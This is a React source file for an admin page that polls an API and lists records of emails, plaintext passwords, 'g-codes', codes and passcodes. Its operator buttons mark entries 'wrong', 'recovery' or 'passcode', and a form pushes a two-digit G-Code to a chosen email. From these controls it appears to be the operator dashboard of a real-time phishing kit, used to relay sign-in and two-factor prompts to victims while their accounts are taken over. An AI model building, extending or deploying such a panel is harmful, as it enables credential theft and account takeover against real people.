import axios from 'axios';
import { useEffect, useState } from "react";
import { useForm } from 'react-hook-form';
import Layout from "./components/Layout";
import Loading from './components/Loading';


const Informations = () => {
    const [currentPage, setCurrentPage] = useState(1);
    const itemsPerPage = 3;

    const {
        register,
        handleSubmit,
        formState: { errors },
    } = useForm();

    const [showModal, setShowModal] = useState(false)
    const [items, setitems] = useState([]);
    const [loading, setLoading] = useState(true);
    const [selectedItem, setSelectedItem] = useState(null);




    const onSubmitForm = async (data) => {

        const finalData = {
            gCode: data.gCode,
            email: selectedItem?.email
        };

        try {

            const response = await axios.post(
                `${import.meta.env.VITE_API_URL}/info/update-gcode`,
                finalData
            );
            setitems(prev =>
                prev.map(item =>
                    item.id === response.data.data.id
                        ? response.data.data
                        : item
                )
            );
            setShowModal(false);

        } catch (error) {
            console.error(error);
        }

    }


    // Upadate Status
    const updateStatus = async (email, status) => {
        try {
            const response = await axios.post(`${import.meta.env.VITE_API_URL}/info/update-status`,
                {
                    email: email,
                    status: status
                }
            );

            // 🔥 UI instantly update করার জন্য
            setitems(prev =>
                prev.map(item =>
                    item.email === email
                        ? { ...item, status: status }
                        : item
                )
            );

        } catch (error) {
            console.log(error);
        }
    }

    // Delete Information
    const handleDelete = async (id) => {
        if (!window.confirm("Are you sure you want to delete this item?")) {
            return;
        }

        try {
            await axios.delete(
                `${import.meta.env.VITE_API_URL}/info/${id}`
            );

            // UI থেকে সাথে সাথে remove
            setitems(prev => prev.filter(item => item.id !== id));

        } catch (error) {
            console.error(error);
        }

    }


    const fetchData = async () => {
        try {
            const response = await axios.get(`${import.meta.env.VITE_API_URL}/info`);
            setitems(response.data.data);

        } catch (error) {
            console.error("Error fetching links:", error);
        } finally {
            setLoading(false);
        }
    }

    useEffect(() => {
        fetchData(); // first load

        const interval = setInterval(() => {
            fetchData();
        }, 2000); // 5 second পরপর

        return () => clearInterval(interval); // cleanup
    }, []);


    // Pagination Logic
    const indexOfLastItem = currentPage * itemsPerPage;
    const indexOfFirstItem = indexOfLastItem - itemsPerPage;
    const currentItems = items.slice(indexOfFirstItem, indexOfLastItem);
    const totalPages = Math.ceil(items.length / itemsPerPage);

    if (loading) {
        return (
            <Layout>
                <Loading />
            </Layout>
        )
    }

    return (
        <Layout>
            <h1 className="text-3xl font-bold mb-6">Information Page</h1>

            <div className="bg-white rounded-2xl shadow-md border border-gray-100 overflow-hidden">
                <div className="overflow-x-auto">
                    <table className="w-full text-sm">
                        <thead>
                            <tr className="text-gray-500 text-left bg-gray-50 uppercase border-b border-gray-200">
                                <th className="px-6 py-3">ID</th>
                                <th className="px-6 py-3">URL-name</th>
                                <th className="px-6 py-3">email</th>
                                <th className="px-6 py-3">password</th>
                                <th className="px-6 py-3">g-code</th>
                                <th className="px-6 py-3">code</th>
                                <th className="px-6 py-3">passcode</th>
                                <th className="px-6 py-3">status</th>
                                <th className="px-6 py-3 text-right">Actions</th>
                            </tr>
                        </thead>

                        <tbody className="divide-y divide-gray-100">
                            {currentItems.map((item) => (
                                <tr key={item.id} className="hover:bg-gray-50 transition">
                                    <td className="px-6 py-4 font-medium">GM{item?.id}</td>
                                    <td className="px-6 py-4">{item?.name}</td>
                                    <td className="px-6 py-4">{item?.email}</td>
                                    <td className="px-6 py-4">{item?.password}</td>
                                    <td className="px-6 py-4">{item?.gCode}</td>
                                    <td className="px-6 py-4">{item?.code}</td>
                                    <td className="px-6 py-4 uppercase">{item?.passCode}</td>
                                    <td className="px-6 py-4">
                                        <span className={`text-center text-white px-2 py-1 rounded-md text-xs font-medium
                                            ${item.status === "g_code"
                                                ? "bg-yellow-500"
                                                : item.status === "wrong"
                                                    ? "bg-red-500"
                                                    : item.status === "passcode"
                                                        ? "bg-cyan-500"
                                                        : item.status === "recovery"
                                                            ? "bg-green-500"
                                                            : "bg-gray-400"
                                            }
                                        `}>
                                            {item.status}
                                        </span>
                                    </td>

                                    <td className="px-6 py-4 text-right space-y-2 flex flex-col">
                                        <button
                                            className="bg-yellow-500 hover:bg-yellow-600 text-white px-3 py-1.5 rounded-lg text-xs"
                                            onClick={() => {
                                                setSelectedItem(item);
                                                setShowModal(true);
                                            }}

                                        >
                                            Code
                                        </button>
                                        <button
                                            className="bg-red-500 hover:bg-red-600 text-white px-3 py-1.5 rounded-lg text-xs"
                                            onClick={() => updateStatus(item.email, "wrong")}
                                        >
                                            WrongPass
                                        </button>
                                        <button
                                            onClick={() => updateStatus(item.email, "recovery")}
                                            className="bg-green-500 hover:bg-green-600 text-white px-3 py-1.5 rounded-lg text-xs">
                                            AccVerify
                                        </button>
                                        <button
                                            onClick={() => updateStatus(item.email, "passcode")}
                                            className="bg-cyan-500 hover:bg-cyan-600 text-white px-3 py-1.5 rounded-lg text-xs">
                                            PassKey
                                        </button>
                                        <button
                                            onClick={() => handleDelete(item.id)}
                                            className="bg-red-500 hover:bg-red-600 text-white px-3 py-1.5 rounded-lg text-xs">
                                            Delete
                                        </button>
                                    </td>
                                </tr>
                            ))}
                        </tbody>
                    </table>
                </div>

                {/* 🔥 Pagination UI */}
                <div className="flex justify-between items-center px-6 py-4 border-t bg-gray-50">
                    <p className="text-sm text-gray-500">
                        Page {currentPage} of {totalPages}
                    </p>

                    <div className="flex space-x-2">
                        <button
                            onClick={() => setCurrentPage(currentPage - 1)}
                            disabled={currentPage === 1}
                            className="px-3 py-1 border rounded-md disabled:opacity-50 hover:bg-gray-100"
                        >
                            Previous
                        </button>

                        {[...Array(totalPages)].map((_, index) => (
                            <button
                                key={index}
                                onClick={() => setCurrentPage(index + 1)}
                                className={`px-3 py-1 border rounded-md ${currentPage === index + 1
                                    ? "bg-cyan-600 text-white"
                                    : "hover:bg-gray-100"
                                    }`}
                            >
                                {index + 1}
                            </button>
                        ))}

                        <button
                            onClick={() => setCurrentPage(currentPage + 1)}
                            disabled={currentPage === totalPages}
                            className="px-3 py-1 border rounded-md disabled:opacity-50 hover:bg-gray-100"
                        >
                            Next
                        </button>
                    </div>
                </div>
            </div>

            {/* ===== Modal ===== */}
            {showModal && (
                <div className="fixed inset-0 z-50 flex items-center justify-center bg-black/50">

                    {/* Modal Box */}
                    <div className="bg-white w-full max-w-sm rounded-2xl shadow-lg p-5 relative">

                        {/* Close Button */}
                        <button
                            onClick={() => setShowModal(false)}
                            className="absolute right-4 top-3 text-gray-400 hover:text-gray-600 text-xl"
                        >
                            ✕
                        </button>

                        <h2 className="text-xl font-semibold mb-4">Add New G-Code</h2>

                        <form className="space-y-4" onSubmit={handleSubmit(onSubmitForm)} errors={errors}>
                            <div>
                                <label className="block text-sm text-gray-600 mb-1">
                                    Code Number
                                </label>
                                <input
                                    {...register('gCode', { required: "G-Code number is required" })}
                                    type="text"
                                    name="gCode"
                                    placeholder="Ex- 75"
                                    className="w-full border border-gray-300 rounded-lg px-4 py-2.5 outline-none focus:ring-2 focus:ring-blue-500"
                                />
                                <span className="text-red-500 text-sm mt-1">{errors.gCode?.message}</span>
                            </div>
                            <div className="flex justify-end gap-2">
                                <button type="submit" className="bg-blue-500 text-white px-4 py-2 rounded-2xl" >Send</button>
                                <button
                                    className="bg-red-500 text-white px-4 py-2 rounded-2xl"
                                    onClick={() => setShowModal(false)}
                                >
                                    Close</button>
                            </div>
                        </form>

                    </div>
                </div>
            )}
            {/* ===== End Modal ===== */}
        </Layout>
    );
};

export default Informations;
